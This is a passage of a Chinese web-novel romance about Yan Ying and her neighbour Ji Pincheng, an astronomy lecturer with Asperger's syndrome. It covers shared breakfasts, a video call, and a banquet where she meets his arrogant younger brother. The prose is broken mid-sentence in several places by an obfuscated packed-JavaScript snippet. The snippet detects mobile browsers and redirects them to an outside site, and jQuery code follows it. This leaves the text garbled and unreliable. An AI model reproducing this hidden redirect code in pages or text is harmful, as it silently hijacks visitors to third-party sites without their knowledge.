l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131042|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要老是对我说谢谢,多见外。” 季品诚又把那个点赞的蓝猫表情包保存下来,他回复道:“好的。” 不知道为什么,季品诚和晏迎发消息有点紧张,甚至面颊上更加热了。 他想起Ge叔叔的那句话“希望你可以越来越勇敢,勇敢地面对自己,面对别人。” 他想邀请她一起吃早饭。 就在他编辑好文字点击发送键的那一秒,晏迎的消息也发了过来。 “明天一起吃早饭吗,来我家,我来做,我家里也有红标瑰夏的咖啡豆。” “季老师,明天晨跑先暂停,我想多睡会,要不我们约个时间一起吃早饭吧?” 晏迎对着屏幕眯眼笑了笑,她现在的表情更像是一只猫了。 “太好了季老师,你看我们多心有灵犀,那我明天八点来你家吃早饭。” 季品诚红着脸回复道:“好的。” “病号别熬夜了,早点睡,明天还得给我做早餐呢,晚安。“ ”好,你也早点睡,晚安。“ 季品诚的“晚安”是真的关灯睡觉了,晏迎的“晚安”想当于“再见”,她结束对话之后又刷了会微博。 明天晏远没有早八,她是下午的满课,晏迎问她明天要不要去季品诚实家吃早饭,她连忙摆手拒绝了。 “不了不了姐,我要睡懒觉,明天就不当你和季老师之间的电灯泡了。” “什么电灯泡,小孩子别瞎说,我和季老师是好朋友。” “姐,”晏远啧啧两声,“你自己相信吗?” 晏迎低下头弯弯唇角:“和季老师在一块还挺有意思的,他是个很好的人。” “哎呀,当初是谁说季老师是大魔头,是冰山男,是大冰块,是冷酷哥的?” 晏迎咳嗽两声掩饰自己的尴尬:“不早了,小远你早点睡。” 她替妹妹关好房间的门,三秒后她又打开,在露出的门缝里对妹妹道:“你别告诉你们季老师我以前背地里这么称呼过他啊。” 晏远咧着嘴笑道:“好的好的知道啦。” 大数据果然是神奇的,晏迎刚回到房间,她的手机首页给她推送了一条关于阿斯伯格综合症的推文。 标题很吸引人的眼球“阿斯伯格综合症活着像是一场规则怪谈。” 晏迎忍不住点了进去,一字不落地看完了。 她看完后沉默地关掉了手机,脑海里浮现出季品诚的脸。 她不傻,她知道这种病是终身的,是刻在基因里永远不可逆转的,她也没过自己要改变季品诚什么。 因为就算是现在生病的他,她也觉得很好很好,比一些所谓的正常人要好。 她知道季品诚能把自己当作朋友,能主动邀请她吃早饭,对于他常年封闭的世界来说,已经是突破和挑战了。 这些事情,晏迎都明白,所以她在很多时候,愿意主动向季品诚伸出手。 幸好,季品诚没有拒绝,也没有逃避。 晏迎抱着手臂看向窗外,今天晚上,没有星星也没有月亮。 那颗季品诚拍摄下来的星星,成为了她的手机壁纸,晏远告诉她,那颗星星的名字叫北落师门。 晏迎知道后的第一反应是疑惑,疑惑季品诚为什么不告诉她这颗星星真实的名字。 后来她反应过来,他是在默认自己,把那颗星星叫做“季品诚星”。 这是他的私心吗? 晏迎低下头想,这是只对她一个人才有的私心吗? 17. 17 季品诚早上给晏迎开门的时候,身上还围着围裙。 晏迎上下打量他一眼,笑着冲他眨眨眼睛道:“早上好,季大厨。” 季品诚别过眼睛红着脸咳嗽一声:“嗯,早上好。” 晏迎觉得他今天精神看上去不错:“好点了吗季老师,不发烧了吧?” “不发烧了,一觉醒过来体温正常。” 他注意到晏迎手上还有一袋子水果,他好奇道:“这个是?” “哎呀,”晏迎自然熟地进门,穿上鞋套,冲他晃了晃手上的水果,“哪有去人家家吃饭空着手的道理,我给你买了水果。” 晏迎一屁股坐在了沙发上,舒服地靠着抱枕,“我给你买了新鲜橙子和苹果,橙子给你补充维生素,至于苹果吗,anappleadaykeepsthedoctoraway~” 她说完看向站在门口的季品诚:“季老师,你站在那里这个眼神看我干什么?” 季品诚回答:“我昨天去你家吃饭就空着手了。” 晏迎笑了出来:“咱俩是朋友就别计较这么多了,大不了我下次来也不带东西了。” 这么一说季品诚就平衡了,他点点头:“好,我继续做早饭去了,你等我十几分钟就好。” “行,”晏迎打开水果袋子又喊住他,“季老师你家有果盘吗,我给你把水果放起来。” “有,放在那边红木柜子的第二层抽屉里。” 季品诚把土豆煎饼,培根煎蛋还有牛油果吐司端上来的时候,晏迎正在很认真地摆果盘。 她按照三个橙子两个苹果的顺序叠罗汉似的摆在果盘上,叠成功之后,她还拿出手机给精心布置的果盘拍了张照片。 晏迎满意地欣赏着自己摆好的果盘,一抬头,看到了季品诚笑着靠在厨房门的边上看着自己。 餐桌上已经摆好了丰富的早餐,香味钻进了晏迎的鼻子里,晏迎的肚子不争气地叫了一声。 季品诚刚刚想的是,她来了,连他家的果盘都变得有意思了。 “已经做好了,饿了就去吃吧。”季品诚听到了她肚子发出的声音。 晏迎站起来看一眼餐桌:“哇,好丰盛,谢谢季老师的款待。” 他连咖啡都磨了她喜欢的红标瑰夏,晏迎弯弯唇角,将温热的咖啡送入口中。 季品诚站在厨房门口,背对着她解下灰色的围裙。 晏迎看到他穿着休闲米色毛衣的背影,透过温柔松弛的衣料,揣测衣料之下,他的身材。 他是典型的倒三角身材,肩宽远大于腰臀,去做服装表演生也不过分。 洁白瓷盘上的溏心煎蛋,在晏迎的走神之间,被她不小心用刀叉划破,金黄色的蛋液四溢,将粉红色的培根全部裹满。 瓷盘中变得潮湿混乱,但被蛋液完全包裹的培根此刻看上去又是那么诱人。 季品诚回头和她对视,晏迎心虚地别过了眼睛。 他不知道她此刻脑子里想的是什么,只是走到她面前坐下来,用眼神示意她那盘培根煎蛋道:“你喜欢这个吃法?” 晏迎用刀叉叉了一块培根放进嘴巴里,味道居然还不错。 “对啊,这个吃法可好吃了,季老师你要不也试试?” 季品诚摇头拒绝了:“我还是更喜欢分开来吃。” 一顿早饭两个人安安静静地吃完,晏迎提出要帮他洗碗。 “不用,家里有洗碗机。” 晏迎走之前还不忘夸道:“季老师你做饭真好吃,完全就是大厨级别的。” 季品诚微笑接受了她的彩虹屁:“嗯,那欢迎你下次还来吃。” “真的吗,你不会是只和我客气一下吧?”晏迎在外面和人社交的时候虚情假意的话听习惯了,但说这句的人如果变成季品诚,那么她真的有必要要向对方确认这句话的真实性了。 果然,季品诚认真道:“我是真心想要邀请你来吃饭,不是和你客气一下。” 他从来都是有什么就说什么,没有虚伪客套的习惯。 晏迎当然不会拒绝,她笑眯眯道:“那我明天还来?” “好,你有什么特别想吃的东西吗,我看看我会不会做。” 晏迎其实是典型的中国胃,她更喜欢吃碳水充足的中国早餐。 她咬了咬下嘴唇,看着季品诚的眼睛道:“我喜欢吃包子,面条,馅饼,炸糕还喜欢喝豆浆。” 季品诚低头思考了一下,他没有做过这些东西。 晏迎看他不说话了连忙道:“季老师我就说随口这么一说,实际上我不挑食,你做什么我就吃什么。” “不,我刚刚只是在想这些东西怎么做,没事,我到时候去搜索一下教程,明天做给你吃。” 季品诚现在在晏迎心里的地位已经比许愿池子里的王八还管用了。 “谢谢季老师,太麻烦你了,”晏迎一脸感动地看着他,“那我明天一定会准时来的。” 季品诚点头:“好,在你走之前,我们还有一件事情要做。” “什么?” “把你的指纹录在我家指纹锁上,这样你来吃饭就可以自己开门了。” 晏迎站在原地震惊了,她知道季品诚不把她当外人了,但是这也太不当外人了吧。 季品诚见她站在原地一动不动,好奇道:“怎么了,不可以吗?” “不是,”晏迎和他大眼瞪小眼,“你就这么放心把你家的门禁给我了?” “你难道会做什么坏事吗?”季品诚抱着手臂,有点好笑地看着她。 “不会,”晏迎回答,“但你对我一点防备心都没有吗?” 晏迎走近他一步,冲他笑道:“你就不怕我是什么隐藏的坏人?” “……”季品诚有点无语地看着她,“我并不认为你能干什么坏事。” “你不怕我劫财?” “那我会报警让你受到法律的制裁。” “你不怕我劫色?” “劫谁的色?”季品诚指了指他自己的脸,“劫我的吗?那这确实要防范一下。” 他越过晏迎,走到电子锁那里按了几下密码:“过来录指纹。” 晏迎看他一眼,伸出了自己公司打卡最习惯的右手食指,她按了两次,电子屏幕上显示指纹录取成功。 “保险起见,如果指纹开不了,你还可以按六位数的密码,密码是225739.” “这个密码有什么讲究吗?还是你随便设置的?” “当然不是,我拍摄给你看的那颗北…季品诚星的赤经就是22时57分39.1秒,可惜密码只能设置六位,要不然那0.1秒我也会严谨地设置上去。” 晏迎嘴角抽了抽:“好的我记住了。” 她在出门之前,眼睛瞟到了他家木质衣架上挂着自己昨天送给他的黑色羊毛围巾。 她会心一笑,忍不住冲季品诚问道:“季老师,你家的门禁不是随便什么人都有吧?” “全宇宙只有三个人知道,我,苏阿姨还有你。” 晏迎故意“哇”了一声:“那我好荣幸成为全宇宙第三个拥有季老师家门禁的人哦。” “再见,你别上班迟到了。”季品诚红着脸关上了门。 他背靠着门,低下了头,脸颊如火烧般泛红。 难以言喻的心情涌上季品诚的心间,他捂住自己的心口,在翻涌的情绪里,他发现自己不仅不排斥这种情绪,还...还有些享受。 晏迎隔着门对他拜拜:“明天见。” “哦不对,今天晚上也能见。”她笑着纠正自己。 开车去公司的路上晏迎的心情都很好,她哼着歌走进公司的门,前台的薇薇安也刚刚来。 她冲晏迎打招呼道:“早啊晏总监,今天心情看上去很好。” “有吗?我每天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137535|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都这样啊?” “哪有啊,明明今天就格外开心。” 维娜见到晏迎的时候也忍不住凑近看她:“啧啧,今天来公司的时候薇薇安就和我说你今天看上去心情特别好,我现在一看,咱们晏总监真的是春光满面。” 维娜是自己人,晏迎不打算对她也藏着掖着,她的目光投向办公室一盆茂密的绿植,眼神温和如初春阳光。 “维娜姐,我今天确实很开心。” 维娜是何等聪明的人,她一下子就猜出了晏迎开心的根源在哪里。 “和你的那个邻居朋友有关吧?” “对,”喜欢一个人的时候,会不自觉讲很多关于他的事情,“他是南城大学的天文系老师,长得好看,还会做饭,他做出来的东西特别好吃。” 维娜忍不住笑了:“嗯,看来很符合我们小迎的标准,抓住一个人的心得先抓住一个人的胃,看来小迎你已经被他抓住了胃也抓住了心。” “对了,我还不知道这位大神叫什么名字呢?” 晏迎回答:“他叫季品诚,季节的季,品德的品,诚实的诚。” 季品诚?维娜突然觉得这个名字有点熟悉,好像在哪里见过或是听说过,但一下子实在想不起来了。 尤其是“季”这个姓氏,让她眉头微微一皱。 “小迎,巧了不是,今天晚上那个很重要的聚会,全场最大的人物,就姓季。” 晏迎没有把这事和季品诚联想在一块,她好奇道:“维娜姐,今天晚上那个大客户什么来头,我看你准备好久了。” “季家是南城第一的名门望族,他们家从商从政从文从艺的都有,可以说是全方面发展的六边形战士,因为季家从政的颇多,所以他们家平时也比较低调,但是实力不容小觑。” “今天的聚会,季局会带着他的儿子一起参加,这位公子叫季磊谦,从国外一所政法大学学成归来,我只见过一面,长得还不错,但是给我的感觉总不是什么善类,咱们要是能和他搭上话,聊天的时候,可得注意点。” “行,”晏迎答应下来,“放心吧维娜姐,到时候咱们兵来将挡,水来土掩。” 维娜似乎是又想到了什么,声音也不自觉地放低了:“我也是听说哈,季局并不是只有一个儿子,他还有一个长子,但那位长子听说患了精神类的疾病,送往了外国治疗,生死未卜,季家对这个长子的存在很忌讳,现在百度百科上显示季老的亲子关系只有季磊谦一个儿子。” “看来这个长子,是要被清理门户了,”维娜有些感叹,“毕竟季局这人吧,是出了名的追求完美。” 晏迎的眼皮子突然跳了一下:“那也真够无情的。” 维娜叹气:“可不是嘛,这种家庭,幸运点是季磊谦那样的,被当作正儿八经的继承人培养,要是不幸了,不过是家族里一枚不要的弃子。” 维娜走之后,晏迎给季品诚发了条消息。 “我今天晚上就不和你一起吃饭了,我要陪领导参加一个重要的聚会,季老师,麻烦你下班回家的时候顺路把小远捎回家可以吗?” “可以。” 晏迎发了一个“谢了”的蓝猫表情包过去,季品诚长按保存了下来。 维娜回到自己的办公室,打开手机搜索“季品诚”这三个字。 只能搜索到他从小到大的获奖履历,没有别的什么收获。 她想从网页上找到他的照片,但翻来翻去也没找出个什么名堂。 维娜觉得自己肯定是想多了,南城姓季的这么多,季品诚怎么可能这么巧是季局的长子? 另外一边的南城大学办公室,季品诚拎着电脑包准备去教室上课,他摊开的笔记本上是几行潇洒的行书。 张峰经过他办公桌的时候,故意瞥了一眼。 不瞥不要紧,一瞥他眉头紧锁。 季品诚在笔记本上写的是,做包子的步骤。 18. 18 季磊谦回国已经有一段时间了,他对今天晚上的宴会其实不太上心,但父亲要求他去露个面,他也乐意博老头子一个开心。 季国明下楼的时候,季磊谦已经穿戴好迎了上去。 “爸,咱们走吧。”他露出一个好儿子特有的谦逊温和的笑容,为季国明开门。 季国明满意地看他一眼,拍了拍他的肩膀。 他把季磊谦送到M国去念书其实是怕他跟着那群二代学坏的,但他现在仔细看儿子一眼,嗯,不错,背地里怎么样他不管,但起码明面上,这个儿子让人挑不出错来。 谁见到季家公子不称赞一句温润如玉,谦谦君子,季老的衣钵有人继承了。 季磊谦每每听到这种场面话都付之一笑,换上他那副精心打磨的面具道:“哪里哪里,我还年轻,还得和爸爸多学习。” 呵,他在心里冷笑,他可比老头子强多了。 在南城的日子到底没有在M国刺激,但季磊谦知道,以后嘛肯定是得跟着老头子在国内发展的,这点寂寞他忍得住,国内低调谦逊那一套他早演得溜溜的。 毕竟他现在可是老头子认证的唯一的儿子。 至于那个所谓的大哥嘛,他回国的时候就查过了,在南城大学教书当硕士生导师,无趣的人生简历让他看两行就打哈切。 哪有自己的日子过得有盼头,老头子把所有资源都会用在自己身上,只要他愿意把“谦谦君子”这个角色一直演下去,凭自己的能力和老头子的助力,平步青云可不是说着玩的。 想到这里,季磊谦扶了季国明一把:“爸,慢点走,有台阶。” 车窗外南城的风景是那么熟悉,季磊谦弯弯唇角笑了笑,故乡也有故乡的好,毕竟自己的人生得要可持续发展嘛,哪里可以一直贪图刺激? 季品诚下班的时候把晏远顺带着捎回了家,晏远坐在车后座,小学生一样端坐着,不敢吱声。 季品诚是有威望的老师,某种意义上来说,也算是她的“准姐夫”,但不管是哪个身份,晏远都有点怕季品诚。 谁叫季老师那么不苟言笑那么严格的... 等红灯的时候季品诚叫了一声她的名字:“晏远。” 晏远正在发呆,被他突然叫了名字吓了一跳,脱口而出道:“怎么了姐夫?” 她刚说完,就打了一下自己的嘴巴,糟糕,最近拿“姐夫”这个词调侃姐姐调侃成习惯了,没过脑子就说出来了。 季品诚透过后视镜看她一眼,晏远低头不敢和他对视。 车内的空间静默了几秒,季品诚自然地开口问她:“晚饭你怎么吃?” 晏远连忙回答:“季老师你不用管我晚饭,我自己可以解决,我点外卖就好。” “行,”季品诚点点头,他又开口,“你好像很怕我?是因为我对你们很严格吗?” “嗯,不不不,严格是好事,严师出高徒嘛季老师。”晏迎连忙摆手。 “别太怕我,要不然你姐姐又得说我太严厉了,把你们小孩子吓得不敢开玩笑了。” 说到晏迎,季品诚的声音里透出了一丝淡淡的笑意,像是初春午后的太阳光。 晏远小声道:“季老师,我一直有个问题想要请教您。” “什么?”他设想了一下,以为会是专业课上的问题, “您对我姐姐,到底是怎样一种情感?” 这个问题,真的把季品诚问住了。 他侧目望向车窗外,傍晚的南城,华灯初上,热闹非凡。 以前这些热闹,都是和他无关的。 她出现之后,他的生活也升温了。 车后备箱里,是做包子的面粉,酵母,还有做馅的各种蔬菜和肉。 购买那些东西的时候,他还没什么感觉,但是现在,他缓过神来了。 他清楚自己在为她做些什么。 晏远看他陷入了良久的沉默以为是他不愿意回答,她打着圆场道:“我和你开玩笑的季老师,我知道你和我姐姐只是朋友而已。” “不。”季品诚否认了她的话,他知道晏迎对于他的意义远远不止于此。 红灯变绿,季品诚握紧方向盘,他目视前方晚高峰期拥挤的车流,觉得心中流淌过温暖。 他平静地回答晏远的问题:“你姐姐在我心目中具有重要的,独一无二的位置。” 所以她刚刚的那声“姐夫”他听见了,却没有反驳。 不反驳,有时候也是一种默认。 那种默认从前会让他觉得羞耻和不堪,但现在,他反而觉得这种默认是在救自己。 季品诚握紧方向盘的手在自己的坦白里,松动了下来,他笑了笑,情感的认知障碍让他分不清心中翻涌的复杂情绪到底是什么,可关于她的种种,让他的情绪从激荡变得平稳。 Ge叔叔说过,这是人类正常的心理状态。 她的存在和出现,对于季品诚来说,是好事。 晏迎今天的晚礼服款式很简单,黑色丝绸的长裙刚好到她的脚踝,头发随意绾了一个发髻,露出她美丽有朝气的脸。 她佩戴的唯一一件首饰,不过是在修长的脖颈上,戴了一串白色的珍珠项链。 “会不会太简单了?虽然你这样简简单单也非常美丽。”维娜拿了一枚红宝石胸针在她身上比划,“我还有一个钻石手镯也特别适合你。” “不用了维娜姐,”晏迎拒绝了她的好意,“这样简单点就好,再说了,你才是我们公司的大boss,我可不能喧宾夺主。” 晏迎在上车前,收到了季品诚的消息。 “已经把晏远送回家了。” “好,谢谢你季老师。” “不客气。”季品诚觉得他们之间的对话太客套太生分了,他的目光顿在屏幕的对话框上,眉头微微皱了起来。 隔着屏幕,晏迎似乎是察觉到了他的微妙情绪,又或许是,她现在有点想他。 “你现在方便吗?” 季品诚的眼皮一跳,他回复道:“方便,怎么了?” “我想和你打个电话呢。” “可以。” 晏迎按下了视频电话,季品诚秒接。 屏幕上是她笑意盈盈的脸,不知道是不是眼妆太美,看人的时候温柔得情意都要溢出来。 季品诚呼吸一滞。 晏迎把自己的碎发顺到耳后,冲他眯了眯眼睛:“喂,季老师,你怎么不说话了?” 季品诚弯弯唇角赞美道:“很漂亮。” 晏迎故意逗他,装傻充愣道:“什么很漂亮?是裙子还是项链?” “是人很漂亮。”季品诚回答。 晏迎不说话,只是笑着看他,眼神从他的眉毛到他高挺的鼻梁最后停留在他弯起的嘴角上。 季品诚以为是自己那边网卡了,冲屏幕那头轻轻“喂”了一声。 “你听得到吗?” “听得到,只不过刚刚是在看你,所以没有说话而已。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140710|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “看我干什么,”季品诚有点不好意思地把头扭过去,“我刚刚下班,今天也没有怎么收拾自己。” 他家里难道没有镜子吗?还是他根本不清楚自己那张脸的硬件有多好,不用怎么收拾打扮都是好看。 晏迎的声音像是在蛊惑他:“季老师你别躲我的眼神,和我对视。” 带有点命令口吻的话从她嘴里说出来,都多了几分不一样的婉转。 季品诚听话照做,重新和她那双漂亮的杏仁眼对视。 晏迎张了张嘴,在他的注视下还是把那句话说了出来:“季老师,我有点想你了。” 能让她说出想念这个字眼的,绝对不是有点,她加上个“有点”,不过是嘴硬。 这句话一出来,季品诚的心陡然一动。 他抿了抿嘴,没有说话,晏迎的目光还停留在他脸上,敏锐地发觉到了他泛红的耳朵。 她存心给他台阶下,故作疑惑地晃了晃手机:“季老师,你那边怎么不动了,是不是信号不好网卡了?那我先挂掉啦。” 就在她即将要挂断的刹那,季品诚的声音从屏幕那头传了出来,晏迎手上的动作一顿。 “我没卡。” “嗯。”晏迎靠在沙发上点点头,期待着他的下文。 “我...”季品诚低头,卡壳似得又停住了。 “你什么?”晏迎一步步地引导着他,非常有耐心。 “我买了食材,打算尝试做你喜欢的三鲜包子,你会来我家吃早饭吗?” “当然!”晏迎的声音听上去很兴奋,她甚至冲他晃了晃自己的食指,“我可是有你家门禁的人,明天我就直接进来不敲门了啊,你别被我吓一跳。” “我的胆子还不至于只有这么一点。”他眉眼含笑,温和如光。 “那季老师,我们明天见。” “好,明天见。” “季品诚。”晏迎坐正身体,翻转了手机摄像头,他看不到她的脸,她的眼睛,她的表情。 这次,她叫了他的名字,而不是季老师。 “怎么了?”季品诚心中有预感,她可能要说一件很重要的事情,所以才会叫他的名字。 一声微乎可微的轻笑隔着屏幕传来,他脑海中有什么东西像是被点燃,绽放出她的笑颜来。 她停顿了三秒,不疾不徐地问道:“你今天想我了吗?” 她还是想听他说出那句话,尽管他早就给过她无数隐晦的回答。 季品诚清晰地感受到自己的心脏跳动在加快,他的大脑来不及做出什么多余的思考,就听到了自己的声音。 是坚定无比的回答。 “我今天想你了。” 晏迎握紧了手机,心潮涌起,做好妆造的维娜在此刻推门进来,对她说道:“走吧小迎,我们该出发了。” “好。”晏迎点头答应。 她还没有把摄像头翻转过来,只是贴着手机和他告别:“拜拜,我有事,先挂断了。” “好,拜拜。” 挂断电话之后,季品诚坐在沙发上静默了几分钟。 他反复去想刚刚那通电话里自己说过的,以及她说过的每一个字。 想到最后,他闭眼,觉得自己心口泛热。 如果没有遇见她呢,这会是怎样的一天? 是无趣的,重复的,循规蹈矩的一天,和前天,昨天以及明天都不会有什么区别。 她出现了,所以,每一天,自此产生区别。 19. 19 今晚的宴会果然和季磊谦想象中的一样无聊,但他一直维持着谦逊温和的形象和走到他面前的人互相敬酒。 一群小虾米而已,靠和他们碰杯维持自己打造的低调亲民人设,是笔精打细算的好生意。 季磊谦低头,有些疲惫地捏了捏自己的眉心,再抬头时,脸上又换上了那副温润如玉的好模样。 晏迎跟在维娜身边,隔着人群向那个个子高挑,西装革履的男人投去目光。 他背对着晏迎,只留下一个英挺的背影。 晏迎小声地问维娜:“这就是季局的儿子吗?” 维娜点点头:“对,待会我们也过去敬季少一杯。” 季磊谦太受欢迎了,和他敬酒得排队,挑他空档的时间过去。 晏迎努努嘴,眼神凝在他的背影上,对这个年轻的男人格外好奇。 酒喝的稍微有点多了,季磊谦走出宴会厅,在走廊上靠着墙壁拿出打火机抽支烟缓缓神。 其实他在宴会厅里也可以抽,没人敢说一个“不”字,但刚刚笑得太多了,他皱眉揉揉自己的脸颊,目光里出现不耐烦的情绪。 他的心情在一支烟里得到缓解,无人处褪下了面具,俨然是一副高高在上的姿态,冷漠,狠厉,居高自傲。 他谁也瞧不起。 晏迎从卫生间出来的时候,正好和倚在走廊抽烟的季磊谦打个照面。 他冷漠的眼神在烟雾绕缭里抬起,和不远处的晏迎对视。 只那一眼,晏迎的脚步一下子定住。 那是一张和季品诚七分相似的脸,浓密的眉,深邃的眼睛,高挺的鼻子,薄唇似笑非笑叼着一只正在燃烧的烟。 只是皮相相像而已,气质截然不同。 季品诚是春寒料峭里落入人间的温和阳光,虽然冷,但是你走进他会发现他是有温度的。 而面前的这个人,是大雪纷飞里钻进你领口刮骨的风。 季磊谦被面前的女人盯得不自在,他放在手里的烟,站直身体和她对视。 他歪着头打量她的五官,她是个漂亮的女人,可季磊谦不记得自己和她有过什么纠葛,值得她带着这样惊讶的目光看自己。 Susuan?Amelia?Bonnie?还是Jenna? 他的脑海里迅速闪过自己在M国交往过的几个华裔女朋友的名字,可她都对不上号。 没办法,桃花太多了,他实在记不清她到底是哪朵了。 晏迎缓过神来,理智告诉她面前的这个男人就是位高权重的季少。 她的大脑迅速反应着,他既然和季品诚长得这么像,那季品诚岂不是维娜口中季家放弃的长子。 季家长子因为精神类疾病被家族放弃,而季品诚又患有阿斯伯格综合征,一切都在冥冥之中对上号了。 晏迎心中被难以言喻的滋味填满,她打起精神冲打量自己的男人露出一个得体的微笑,想快步离开这里。 就在她和季磊谦擦肩而过的瞬间,季磊谦抖了抖手里的烟灰,叫住了她。 “等等。” 晏迎呼吸一滞,停下了脚步,他换上那副温和的假面孔和她对视:“你认识我吗?” 晏迎笑了笑,用无可挑剔的口吻说:“大名鼎鼎的季少谁不认识呢?” 看来并非是他在M国留下的露水情缘,季磊谦松了一口气。 他的目光落在她漂亮的眼睛上,弯弯唇角道:“我们今天是第一次见面吧,你是?” 晏迎微微退后两步,和他保持距离,这个举动在季磊谦眼里更加激发了他的好奇心。 “我叫晏迎,是春雨公司的设计总监。” “哦,是春雨公司呀。”季磊谦点点头。 春雨公司?什么东西,他听都没听说过,虾米中的虾米。 但面前的女人,倒是比Susuan,Amelia,Bonnie还有Jenna都要好看。 他侧身给晏迎让道,冲她勾起一个微笑,眼神拉丝:“一会见。” 晏迎在那张神似季品诚的脸上晃了晃神,真的只是乍一看很像,但一接触,差别大到不是一点半点。 季品诚要是有一天对她这么轻佻,她得找个道士来给季品诚驱驱邪,再撒把糯米在季品诚头上。 晏迎摸了摸自己胳膊上的鸡皮疙瘩,太可怕了,真的得赶紧离开这里。 季磊谦盯着她越走越快的背景皱了皱眉,这个女人是在嫌弃自己吗? 以前都是别人上赶子接近他,她,她居然像是沾染到了什么不好的东西一样远离自己。 季磊谦思考了一会,实在是想不明白她怎么会不喜欢自己这么有魅力的人。 邪门,他眯了眯眼睛,不可能是自己的问题,一定是这个女人的问题。 邪门,晏迎走到维娜身边的时候满脑子都是这两个字,季品诚这么好的人怎么会和季家那帮人扯上关系。 晏迎感到有些饿了,随手拿了一个蓝莓纸杯蛋糕吃了起来,她吃完纸杯蛋糕小心翼翼抹掉唇边紫色蓝莓酱,一抬头,站在不远处被一群商业人士环绕的季磊谦正对自己投来目光。 他面含笑意,冲她遥遥举杯,喝下一口鲜红的酒液。 吸血鬼,晏迎扯了扯嘴角,觉得他这人锋芒太利,仿佛下一秒就要露出白森森的獠牙,在她脖颈处咬两个洞,将她的血吸干掉。 她垂下目光,不和他的眼神发生任何触碰,维娜察觉到了她的不自在,低声问道:“怎么啦小迎,是身体不舒服吗?” 晏迎尴尬地笑了笑,摸了摸自己的脖子道:“没事维娜姐,就是脖子有点疼。” 季磊谦用食指拭去自己嘴唇上红色的酒渍,他轻轻推开涌上来想要和他握手的人,在众人的注视之下,走向了维娜那边。 更准确的来说,他的目标是晏迎。 这是维娜意料之外的,她挑眉,赶紧起身端好酒杯,换上端庄的笑容。 晏迎深吸一口气,站在维娜身边看向面前气质矜贵的男人。 “春雨公司?”季磊谦念出了这个他觉得有些老土的名字。 维娜点头,含笑回答:“是的,季少好。” 季磊谦和维娜碰杯,两个人都一饮而尽。 他又让侍从给自己倒满,看向了晏迎:“又见面了,晏小姐。” 他把“晏小姐”这三个字叫得柔情蜜意,晏迎鸡皮疙瘩又起来了。 这家伙能不能不要顶着一张和季品诚相像的脸这么肉麻啊。 维娜察觉到了两个人之间的不对劲,笑道:“小迎,你和季少认识?” 晏迎回答:“刚刚在走廊和季少有一面之缘。” 对,就是一面之缘,这家伙千万不要像是鬼一样缠上自己。 季家人这样对季品诚,晏迎在心里已经踩小人一样把他们踩了几千次了。 一群铁石心肠无情无义的人。 季磊谦走近晏迎一步,拉近了和她之间的距离:“我敬晏小姐一杯。” 晏迎和他碰杯,因为身份之间的悬殊,她的酒杯在碰杯时没有和他持平,而是比他稍低一点。 季磊谦笑了一声,不动声色地将自己的酒杯下移,表示他愿意比晏迎低一头。 周围有眼力见的人当然察觉到了季少这一微妙的动作,纷纷向晏迎投来好奇的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148715|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光。 季少虽然为人低调谦逊,也尊重女士,但从来不是愿意在女人面前低一头的人。 这个女人,看来不简单啊,能让季少主动来敬酒,还让季少心甘情愿地低头。 晏迎把手里的酒一饮而尽,在心里默默翻了一个白眼,什么玩意儿,碰个杯还搞得恩赐她似的,这人也太未免自以为是了。 到现在为止她还没吃过什么东西,她想念季品诚给她做的三鲜馅包子了。 她又看了眼对面男人笑意盈盈的面孔,啧,真讨厌,长得和季品诚这么像,想一脚踹飞。 季磊谦眼睛眯了眯,刚刚她好像瞪了自己一眼,还是,自己酒喝多了看错了? 这女人的假笑也太假了,一点都没有自己装的像,面子场上的演技还有待提升啊。 季磊谦想到这里更加兴奋了,他可是一位很好的老师,也有兴趣和耐心好好教一教她。 维娜疑惑地看看季磊谦,又看看晏迎,这场面是个什么情况? 季磊谦是个很好的猎手,他很明白细水长流慢慢来才有收获的道理,他退后一步,这个距离才让晏迎觉得舒服。 “我很欣赏晏小姐的才华呢,以后说不定有什么好项目会第一个联系春雨公司。” 才华?他压根没看过她设计的作品,没关系,场子结束了恶补一下就好了嘛。 反正这里他说一,谁敢说二呢? 晏迎嘴角抽搐了一下:“感谢季少赏识。” 滚滚滚,谁要你欣赏我,晏迎咬牙,想着他能不能赶紧走啊,后面那么多人排队要和他认识呢,干嘛非要赖在她这里浪费时间呢。 像是透过她那双好看的眼睛读懂了她的心声,季磊谦识趣道:“我那边还有事,维娜小姐,晏小姐,我先离开一下,下次再会。” 